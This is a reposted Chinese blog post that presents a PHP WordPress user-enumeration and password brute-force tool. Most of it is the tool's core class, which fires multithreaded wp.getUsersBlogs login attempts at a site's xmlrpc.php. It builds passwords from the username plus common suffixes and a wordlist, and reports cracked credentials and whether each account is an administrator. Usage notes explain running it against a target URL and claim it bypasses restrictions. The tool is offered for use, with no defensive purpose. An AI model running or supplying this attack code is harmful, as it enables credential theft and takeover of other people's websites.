wordpress 用户枚举,爆破工具

admin 2022年5月17日03:57:43评论45 views字数 2568阅读8分33秒阅读模式

欢迎对该工具进行修改优化,转载请注明原作者,写代码不易。

为什么不用wpscan?

闲着蛋疼写着玩。

2019-07-21-00-46-17

核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
include 'init.php';
define("user", $argv[2]);
class BruteWordPress
{
private $rc;
function __construct() {
$this->rc = new RollingCurl();
$this->rc->callback = $this->create_request_callback($this->rc);
$this->rc->__set('window_size', Thread);
$this->rc->__set('time_out', TimeOut);
}

function create_request_callback($rc) {
return function ($response, $info, $request) use ($rc) {
if ($info['http_code'] == 404 || $info['http_code'] == 403 || $info['http_code'] == 500) {
echo '[-] Access error!' . PHP_EOL;
$this->rc->cancelRequests();
}

$p = $request->post_data;
preg_match_all('/<param><value>([^\s]+?)<\/value><\/param>/', $p, $m);
$user = $m[1][0];
$pass = $m[1][1];
if (!preg_match('/<boolean>(\d)<\/boolean>/', $response, $is_admin)) {

//echo '[*] Brote user ' . $user . " ..." . "\r";


} else {

//print_r($is_admin).PHP_EOL;
if ($is_admin[1] == 1) {
echo '[+] Bruteed~ -> ' . iconv("UTF-8","GB18030//IGNORE",$user) . ':' . $pass . ' [is admin]' . PHP_EOL;
$this->rc->cancelRequests();
} else {
echo '[+] Bruteed~ -> ' . iconv("UTF-8","GB18030//IGNORE",$user) . ':' . $pass . PHP_EOL;
$this->rc->cancelRequests();
}
}
};
}

function run() {
$pass_file = preg_replace('/\s$/', "", file(wordlist));
$user_pre = array('123', '111', '1', 'a', 'pass', '!@#', 'password', 'abc', '1961', '1962', '1963', '1970', '1988', '1989', '1990', '1991', '1992', '1993', '1994', '1995', '1996', '1997', '1998', '1999', '2001', '2002', '2003', '2004', '2006', '2005', '2007', '2008', '2009', '2010', '2011', '2012', '2013', '2014', '2015');
foreach ($user_pre as $pre) {
$pre_u[] = user . $pre;
}
$p = array_merge($pre_u, $pass_file);
$passwords = array_unique($p);
array_unshift($passwords, user);

foreach ($passwords as $pass) {
$url = domain . '/xmlrpc.php';
$post_data = sprintf('<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>%s</value></param><param><value>%s</value></param></params></methodCall>', user, $pass);
$request = new RollingCurlRequest($url, 'POST', $post_data);
$request->options = $GLOBALS["cUrl_options"];
$this->rc->add($request);
}
$this->rc->execute();
}
}

$brute = new BruteWordPress();
$brute->run();
?>

说明:

  1. 使用非常简单无需其它参数
    php scan.php http://www.target.com

  2. 多线程同时进行,跑完一个用户成功立即退出该任务接着破另外一个用户

  3. 自动生成用户名相关并加到字典头部 大大的提高破解速度

  4. 模块可单独使用

  5. 枚举用户模块 能抓取大部分常规 wordpress站点用户
    检查枚举到的用户是否为登陆用户如果不是则剔除大大的提高破解效率

  6. 该脚本 需curl 扩展支持

  7. 利用wordpress 的xmlrpc.php 文件破解
    可绕过限制并判断是否为管理员用户

  8. 环境简单
    仅需 php.exe 、php5ts.dll 、curl.dll

文件说明

1
2
3
4
5
6
init.php 配置及功能函数
enum_user.php 根据页面枚举用户
chkuser.php 检测枚举到的用户是否为可登陆用户
RollingCurl.php 多线程http请求类 (修改版)
BruteWordPress.php 爆破类
scan.php 主文件(要运行的文件)

绿色php环境
完整代码下载

FROM :WOLVEZ'S BLOG| Author:wolve

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月17日03:57:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   wordpress 用户枚举,爆破工具http://cn-sec.com/archives/1012584.html

发表评论

匿名网友 填写信息